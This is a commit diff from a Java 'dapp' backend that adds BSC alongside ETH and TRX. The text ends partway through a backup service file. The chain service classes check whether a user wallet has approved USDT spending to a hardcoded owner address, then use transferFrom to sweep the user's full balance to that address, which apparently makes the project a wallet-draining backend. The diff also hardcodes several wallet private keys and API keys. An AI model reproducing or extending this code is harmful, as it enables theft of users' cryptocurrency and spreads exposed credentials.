wzy
2022-04-15 f4184f358030bed3fb57108d47640ceeaf5ecd03
add bsc and improve code
13 files modified
1 files deleted
1 files added
1408 ■■■■ changed files
src/main/java/cc/mrbird/febs/common/interceptor/DappInterceptor.java 3 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/BscService.java 151 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java 177 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java 2 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java 595 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/EthServiceBak.java 386 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java 36 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java 6 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java 14 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/mapper/DappMemberDao.java 2 ●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/service/DappMemberService.java 6 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java 21 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/job/MineProfitJob.java 4 ●●●● patch | view | raw | blame | history
src/main/resources/mapper/dapp/DappMemberDao.xml 2 ●●● patch | view | raw | blame | history
src/main/resources/templates/febs/views/dapp/member.html 3 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/common/interceptor/DappInterceptor.java
@@ -31,13 +31,14 @@
        }
        String headAddress = request.getHeader("token");
        String chain = request.getHeader("chain");
        log.info("进入拦截:{}", headAddress);
        if (StrUtil.isBlank(headAddress)) {
            responseUnAuth(response);
            return false;
        }
        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(headAddress);
        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(headAddress, chain);
        if (memberEntity == null) {
            responseUnAuth(response);
            return false;
src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
File was deleted
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -4,91 +4,126 @@
import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
import org.springframework.data.repository.query.ParameterOutOfBoundsException;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.rmi.activation.UnknownObjectException;
/**
 * @author
 * @author
 * @date 2022-03-23
 **/
public class ChainService {
    private final String ETH_PREFIX = "0x";
    private final EthService ETH = new EthService();
    private final TrxService TRX = TrxService.INSTANCE;
    private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
    private final static String TRX_PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
    private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
    private ChainService() {}
    private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
    private final static String ETH_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
    private final static String ETH_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
    private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7";
    private final static String BSC_URL = "https://data-seed-prebsc-1-s1.binance.org:8545";
    private final static String BSC_ADDRESS = "0x4EbDCA102623b46a47042D580dddAdE2a53D057F";
    private final static String BSC_PRIVATE = "0x81c2c02d0c106c1e32ab060a37f6eb279c0649c30ea5cc1c4951e6a8dd4e963c";
    private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955";
    private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS);
    private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS);
    private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY);
    private final String ETH_PREFIX = "0x";
    private ChainService() {
    }
    public final static ChainService INSTANCE = new ChainService();
    /**
     * 获取制定账号的USDT余额
     *
     * @param address
     * @return
     */
    public BigDecimal balanceOf(String address) {
        BigDecimal balance = BigDecimal.ZERO;
        if (address.contains(ETH_PREFIX)) {
            balance = ETH.tokenGetBalance(address);
        } else {
            balance = TRX.balanceOf(address);
        }
        return balance;
    }
    /**
     * 判断地址是否授权给制定账户
     *
     * @param address
     * @return
     */
    public boolean isAllowance(String address) {
        BigInteger result;
        if (address.startsWith(ETH_PREFIX)) {
            result = ETH.ethAllowance(address);
        } else {
            result = TRX.allowance(address);
    public static ContractChainService getInstance(String chainType) {
        switch (chainType) {
            case "ETH" :
                return ETH;
            case "BSC" :
                return BSC;
            case "TRX" :
                return TRX;
            default:
                break;
        }
        return result.intValue() != 0;
        throw new FebsException("参数错误");
    }
    /**
     * 获取地址授权数量
     *
     * @param address
     * @return
     */
    public int allowanceCnt(String address) {
        String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
        String total = JSONObject.parseObject(response).getString("total");
        return Integer.parseInt(total);
    }
    public String transfer(String address) {
        BigDecimal amount = balanceOf(address);
        return transfer(address, amount);
    }
    public String transfer(String address, BigDecimal amount) {
        String hash;
        if (address.startsWith(ETH_PREFIX)) {
            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
            JSONObject data = JSONObject.parseObject(resp);
            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
        } else {
            hash = TRX.transfer(address, amount);
        }
        return hash;
    }
    public static void main(String[] args) {
//        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
//        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
    }
//
//    /**
//     * 获取制定账号的USDT余额
//     *
//     * @param address
//     * @return
//     */
//    public BigDecimal balanceOf(String address) {
//        BigDecimal balance = BigDecimal.ZERO;
//        if (address.contains(ETH_PREFIX)) {
//            balance = ETH.tokenGetBalance(address);
//        } else {
//            balance = TRX.balanceOf(address);
//        }
//        return balance;
//    }
//
//    /**
//     * 判断地址是否授权给制定账户
//     *
//     * @param address
//     * @return
//     */
//    public boolean isAllowance(String address) {
//        BigInteger result;
//        if (address.startsWith(ETH_PREFIX)) {
//            result = ETH.ethAllowance(address);
//        } else {
//            result = TRX.allowance(address);
//        }
//
//        return result.intValue() != 0;
//    }
//
//    /**
//     * 获取地址授权数量
//     *
//     * @param address
//     * @return
//     */
//    public int allowanceCnt(String address) {
//        String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
//        String total = JSONObject.parseObject(response).getString("total");
//        return Integer.parseInt(total);
//    }
//
//    public String transfer(String address) {
//        BigDecimal amount = balanceOf(address);
//
//        return transfer(address, amount);
//    }
//
//    public String transfer(String address, BigDecimal amount) {
//        String hash;
//        if (address.startsWith(ETH_PREFIX)) {
//            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
//            JSONObject data = JSONObject.parseObject(resp);
//            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
//        } else {
//            hash = TRX.transfer(address, amount);
//        }
//        return hash;
//    }
//
//    public static void main(String[] args) {
////        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
//
////        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
//        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
//    }
}
src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
@@ -11,6 +11,8 @@
    BigInteger allowance(String address);
    boolean isAllowance(String address);
    String transfer(String address);
    String transfer(String address, BigDecimal amount);
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -1,389 +1,206 @@
package cc.mrbird.febs.dapp.chain;
import cc.mrbird.febs.common.exception.FebsException;
import cn.hutool.core.collection.CollUtil;
import com.alibaba.fastjson.JSONObject;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.web3j.abi.FunctionEncoder;
import org.web3j.abi.FunctionReturnDecoder;
import org.web3j.abi.TypeReference;
import org.web3j.abi.datatypes.Address;
import org.web3j.abi.datatypes.Function;
import org.web3j.abi.datatypes.Type;
import org.web3j.abi.datatypes.generated.Uint256;
import org.web3j.crypto.Credentials;
import org.web3j.crypto.RawTransaction;
import org.web3j.crypto.TransactionEncoder;
import org.web3j.crypto.WalletUtils;
import org.web3j.protocol.Web3j;
import org.web3j.protocol.core.DefaultBlockParameterName;
import org.web3j.protocol.core.Request;
import org.web3j.protocol.core.methods.request.Transaction;
import org.web3j.protocol.core.methods.response.*;
import org.web3j.protocol.http.HttpService;
import org.web3j.utils.Convert;
import org.web3j.utils.Convert.Unit;
import org.web3j.utils.Numeric;
import java.io.File;
import java.io.IOException;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;
import java.util.*;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutionException;
/**
 * ETH类,使用Web3j 下面为使用教程
 * https://kauri.io/article/925d923e12c543da9a0a3e617be963b4/manage-an-ethereum-account-with-java-and-web3js
 *
 * @author Administrator
 *
 */
@Slf4j
public class EthService {
    private static String ethWalletPath = "/home/javaweb/webresource/eth";
    private Web3j web3j;
    /**
     * 服务器地址
     */
    //private static final String ETH_UTL = "http://120.55.86.146:8545";
    //    private static final String ETH_UTL = "http://114.55.250.231:8545";
    private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
//    private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
//    private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
    private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
    private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
    public EthService() {
        try {
            HttpService service = new HttpService(ETH_UTL);
            web3j = Web3j.build(service);
        } catch (Exception e) {
            log.error("连接eth网络失败", e);
        }
    }
    public EthService(String url, String address, String privateKey) {
        try {
            OWNER_ADDRESS = address;
            OWNER_PRIVATE = privateKey;
            ETH_UTL = url;
            HttpService service = new HttpService(url);
            web3j = Web3j.build(service);
        } catch (Exception e) {
            log.error("连接eth网络失败", e);
        }
    }
    /**
     * 查询ETH余额
     *
     * @param address
     * @return
     */
    public static BigDecimal getEthBlance(String address) {
        Web3j web3 = Web3j.build(new HttpService(ETH_UTL));
        EthGetBalance balanceWei;
        try {
            balanceWei = web3.ethGetBalance(address, DefaultBlockParameterName.LATEST).send();
            if (balanceWei.getResult() == null) {
                return null;
            }
            BigDecimal balanceInEther = Convert.fromWei(balanceWei.getBalance().toString(), Unit.ETHER);
            return balanceInEther;
        } catch (Exception e) {
            System.out.println("ETH查询失败:" + address);
            e.printStackTrace();
        }
        return null;
    }
    /**
     * 创建ETH钱包
     *
     * @return
     */
    public static Map<String, String> createEth() {
        Map<String, String> wallet = new HashMap<String, String>();
        try {
            String walletPassword = "secr3t";
            // 文件路径
            String walletDirectory = ethWalletPath;
            String walletName = WalletUtils.generateNewWalletFile(walletPassword, new File(walletDirectory));
            System.out.println("wallet location: " + walletDirectory + "/" + walletName);
            Credentials credentials = WalletUtils.loadCredentials(walletPassword, walletDirectory + "/" + walletName);
            String accountAddress = credentials.getAddress();
            String privateKey = credentials.getEcKeyPair().getPrivateKey().toString(16);
            // 钱包地址
            wallet.put("address", accountAddress);
            // 钱包私钥
            wallet.put("privateKey", privateKey);
            // 产生的钱包文件地址
            wallet.put("walletLocation", walletDirectory + "/" + walletName);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wallet;
    }
    public boolean checkTransferResult(String hash) {
        // 0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816 交易hash
        Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = web3j.ethGetTransactionReceipt(hash);
        EthGetTransactionReceipt send = null;
        try {
            send = ethGetTransactionReceiptRequest.send();
            if(send!=null){
                TransactionReceipt result = send.getResult();
                if(result!=null){
                    String status = result.getStatus();
                    System.out.println(status);//0x1
                    if("0x1".equals(status)){
                        return true;
                    }else{
                        return false;
                    }
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        }
        return false;
    }
    public static void main(String[] args) throws IOException {
//        HttpService service = new HttpService(ETH_UTL);
//        Web3j build = Web3j.build(service);
//        //Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
//        Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
//        EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
//        String status = send.getResult().getStatus();
//        System.out.println(status);//0x1
//        EthTransaction send = ethTransactionRequest.send();
//        String input = send.getResult().getInput();
//        System.out.println(input);
        System.out.println(new EthService().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
    }
    /**
     *
     * 方法描述:获取代币余额
     *
     * @param fromAddress
     * @param
     * @param
     * @return long
     */
    public BigDecimal tokenGetBalance(String fromAddress) {
        try {
            // 合约地址
            String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
            int decimal = 6;
            String methodName = "balanceOf";
            List<Type> inputParameters = new ArrayList<>();
            List<TypeReference<?>> outputParameters = new ArrayList<>();
            Address address = new Address(fromAddress);
            inputParameters.add(address);
            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
            };
            outputParameters.add(typeReference);
            Function function = new Function(methodName, inputParameters, outputParameters);
            String data = FunctionEncoder.encode(function);
            Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
            EthCall ethCall;
            BigInteger balanceValue = BigInteger.ZERO;
            try {
                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
                balanceValue = (BigInteger) results.get(0).getValue();
            } catch (IOException e) {
                e.printStackTrace();
            }
            double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
            if (res > 0) {
                return new BigDecimal(res);
            }
        } catch (Exception e) {
            // logger.error("==============以太坊代币链接获取失败!");
            e.printStackTrace();
        }
        return BigDecimal.ZERO;
    }
    // USDT
    public String tokenSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
            throws InterruptedException, ExecutionException {
        // Web3j web3j = Web3j.build(new
        // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
        if(StringUtils.isBlank(gas)){
            gas="35";
        }
        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
        Credentials credentials = Credentials.create(privateKey);
        EthGetTransactionCount ethGetTransactionCount = web3j
                .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
        Function function = new Function("transfer",
                Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))),
                Arrays.asList(new TypeReference<Type>() {
                }));
        String encodedFunction = FunctionEncoder.encode(function);
        RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
                Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
                Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
                // 10*80000/1000000000=0.0008 手续费
        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
        String hexValue = Numeric.toHexString(signedMessage);
        CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
        EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
        //return "hash";
//        log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
        if (ethSendTransaction.hasError()) {
            return "";
        } else {
            String transactionHash = ethSendTransaction.getTransactionHash();
            // log.info("Transfer transactionHash:" + transactionHash);
            return transactionHash;
        }
    }
    public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
            throws InterruptedException, ExecutionException {
        if(StringUtils.isBlank(gas)){
            gas="35";
        }
        BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
        amount = amountPow.toPlainString();
        if (amount.contains(".")) {
            amount = amount.substring(0, amount.lastIndexOf("."));
        }
        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
        Credentials credentials = Credentials.create(privateKey);
        EthGetTransactionCount ethGetTransactionCount = web3j
                .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
        Function function = new Function("transferFrom",
                Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
                Arrays.asList(new TypeReference<Type>() {
                }));
        String encodedFunction = FunctionEncoder.encode(function);
        RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
                Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
                Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
        // 10*80000/1000000000=0.0008 手续费
        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
        String hexValue = Numeric.toHexString(signedMessage);
        CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
        EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
        //return "hash";
//        log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
        if (ethSendTransaction.hasError()) {
            return "";
        } else {
            String transactionHash = ethSendTransaction.getTransactionHash();
            // log.info("Transfer transactionHash:" + transactionHash);
            return transactionHash;
        }
    }
    public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
        try {
            return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
        } catch (InterruptedException | ExecutionException e) {
            e.printStackTrace();
            return "";
        }
    }
    public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
            throws InterruptedException, ExecutionException {
        // Web3j web3j = Web3j.build(new
        // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
        if(StringUtils.isBlank(gas)){
            gas="70";
        }
        Credentials credentials = Credentials.create(privateKey);
        EthGetTransactionCount ethGetTransactionCount = web3j
                .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
        BigInteger value = Convert.toWei(amount, Unit.ETHER).toBigInteger();
        RawTransaction rawTransaction = RawTransaction.createEtherTransaction(nonce,
                Convert.toWei(gas, Unit.GWEI).toBigInteger(),
                Convert.toWei("60000", Unit.WEI).toBigInteger(), toAddress, value);
        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
        String hexValue = Numeric.toHexString(signedMessage);
        EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get();
        if (ethSendTransaction.hasError()) {
            // log.info("transfer error:", ethSendTransaction.getError().getMessage());
            return "";
        } else {
            String transactionHash = ethSendTransaction.getTransactionHash();
            // log.info("Transfer transactionHash:" + transactionHash);
            return transactionHash;
        }
    }
    public BigInteger ethAllowance(String address) {
        return ethAllowance(OWNER_ADDRESS, address);
    }
    public BigInteger ethAllowance(String toAddress, String fromAddress) {
        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
        String methodName = "allowance";
        List<TypeReference<?>> outputParameters = new ArrayList<>();
        TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
        outputParameters.add(typeReference);
        Function function = new Function(methodName,
                Arrays.asList(new Address(fromAddress), new Address(toAddress))
                , outputParameters);
        String data = FunctionEncoder.encode(function);
        Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
        EthCall ethCall = null;
        try {
            ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
            List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
            return (BigInteger) results.get(0).getValue();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return BigInteger.ZERO;
    }
}
package cc.mrbird.febs.dapp.chain;
import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
import org.apache.commons.lang3.StringUtils;
import org.web3j.abi.FunctionEncoder;
import org.web3j.abi.FunctionReturnDecoder;
import org.web3j.abi.TypeReference;
import org.web3j.abi.datatypes.Address;
import org.web3j.abi.datatypes.Function;
import org.web3j.abi.datatypes.Type;
import org.web3j.abi.datatypes.generated.Uint256;
import org.web3j.crypto.Credentials;
import org.web3j.crypto.RawTransaction;
import org.web3j.crypto.TransactionEncoder;
import org.web3j.protocol.Web3j;
import org.web3j.protocol.core.DefaultBlockParameterName;
import org.web3j.protocol.core.methods.request.Transaction;
import org.web3j.protocol.core.methods.response.EthCall;
import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
import org.web3j.protocol.core.methods.response.EthSendTransaction;
import org.web3j.protocol.http.HttpService;
import org.web3j.utils.Convert;
import org.web3j.utils.Numeric;
import java.io.IOException;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutionException;
/**
 * @author wzy
 * @date 2022-04-15
 **/
public class EthService implements ContractChainService {
    private Web3j web3j;
    private String url;
    private String ownerAddress;
    private String privateKey;
    private String contractAddress;
    public EthService(String url, String address, String privateKey, String contractAddress) {
        this.url = url;
        this.ownerAddress = address;
        this.privateKey = privateKey;
        this.contractAddress = contractAddress;
        HttpService service = new HttpService(url);
        web3j = Web3j.build(service);
    }
    @Override
    public BigInteger balanceOfUnDecimal(String fromAddress) {
        try {
            String methodName = "balanceOf";
            List<Type> inputParameters = new ArrayList<>();
            List<TypeReference<?>> outputParameters = new ArrayList<>();
            Address address = new Address(fromAddress);
            inputParameters.add(address);
            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
            };
            outputParameters.add(typeReference);
            Function function = new Function(methodName, inputParameters, outputParameters);
            String data = FunctionEncoder.encode(function);
            Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
            EthCall ethCall;
            BigInteger balanceValue = BigInteger.ZERO;
            try {
                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
                balanceValue = (BigInteger) results.get(0).getValue();
            } catch (IOException e) {
                e.printStackTrace();
            }
            return balanceValue;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return BigInteger.ZERO;
    }
    @Override
    public BigDecimal balanceOf(String fromAddress) {
        int decimal = 6;
        BigInteger balanceValue = balanceOfUnDecimal(fromAddress);
        double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
        if (res > 0) {
            return new BigDecimal(res);
        }
        return BigDecimal.ZERO;
    }
    @Override
    public BigInteger allowance(String address) {
        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
        String methodName = "allowance";
        List<TypeReference<?>> outputParameters = new ArrayList<>();
        TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
        };
        outputParameters.add(typeReference);
        Function function = new Function(methodName,
                Arrays.asList(new Address(address), new Address(ownerAddress))
                , outputParameters);
        String data = FunctionEncoder.encode(function);
        Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data);
        EthCall ethCall = null;
        try {
            ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
            List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
            return (BigInteger) results.get(0).getValue();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return BigInteger.ZERO;
    }
    @Override
    public boolean isAllowance(String address) {
        return allowance(address).intValue() != 0;
    }
    public String getGas() {
        String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
        JSONObject data = JSONObject.parseObject(resp);
        String gas = data.getString("avgPrice");
        return StrUtil.isBlank(gas) ? "35" : gas;
    }
    @Override
    public String transfer(String address) {
        BigDecimal balance = balanceOf(address);
        return transfer(address, balance);
    }
    @Override
    public String transfer(String address, BigDecimal amount) {
        try {
            return tokenTransferFrom(privateKey, address, ownerAddress, amount.toPlainString());
        } catch (ExecutionException | InterruptedException e) {
            e.printStackTrace();
            return "";
        }
    }
    public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount) throws ExecutionException, InterruptedException {
        String gas = getGas();
        BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
        amount = amountPow.toPlainString();
        if (amount.contains(".")) {
            amount = amount.substring(0, amount.lastIndexOf("."));
        }
        Credentials credentials = Credentials.create(privateKey);
        EthGetTransactionCount ethGetTransactionCount = web3j
                .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
        Function function = new Function("transferFrom",
                Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
                Arrays.asList(new TypeReference<Type>() {
                }));
        String encodedFunction = FunctionEncoder.encode(function);
        RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
                Convert.toWei(gas, Convert.Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
                Convert.toWei("100000", Convert.Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
        String hexValue = Numeric.toHexString(signedMessage);
        CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
        EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
        if (ethSendTransaction.hasError()) {
            return "";
        } else {
            return ethSendTransaction.getTransactionHash();
        }
    }
    @Override
    public int allowanceCnt(String address) {
        return 0;
    }
}
src/main/java/cc/mrbird/febs/dapp/chain/EthServiceBak.java
New file
@@ -0,0 +1,386 @@
package cc.mrbird.febs.dapp.chain;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.web3j.abi.FunctionEncoder;
import org.web3j.abi.FunctionReturnDecoder;
import org.web3j.abi.TypeReference;
import org.web3j.abi.datatypes.Address;
import org.web3j.abi.datatypes.Function;
import org.web3j.abi.datatypes.Type;
import org.web3j.abi.datatypes.generated.Uint256;
import org.web3j.crypto.Credentials;
import org.web3j.crypto.RawTransaction;
import org.web3j.crypto.TransactionEncoder;
import org.web3j.crypto.WalletUtils;
import org.web3j.protocol.Web3j;
import org.web3j.protocol.core.DefaultBlockParameterName;
import org.web3j.protocol.core.Request;
import org.web3j.protocol.core.methods.request.Transaction;
import org.web3j.protocol.core.methods.response.*;
import org.web3j.protocol.http.HttpService;
import org.web3j.utils.Convert;
import org.web3j.utils.Convert.Unit;
import org.web3j.utils.Numeric;
import java.io.File;
import java.io.IOException;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;
import java.util.*;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutionException;
/**
 * ETH类,使用Web3j 下面为使用教程
 * https://kauri.io/article/925d923e12c543da9a0a3e617be963b4/manage-an-ethereum-account-with-java-and-web3js
 *
 * @author Administrator
 *
 */
@Slf4j
public class EthServiceBak {
    private static String ethWalletPath = "/home/javaweb/webresource/eth";
    private Web3j web3j;
    /**
     * 服务器地址
     */
    //private static final String ETH_UTL = "http://120.55.86.146:8545";
    //    private static final String ETH_UTL = "http://114.55.250.231:8545";
    private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
//    private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
//    private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
    private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
    private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
    public EthServiceBak() {
        try {
            HttpService service = new HttpService(ETH_UTL);
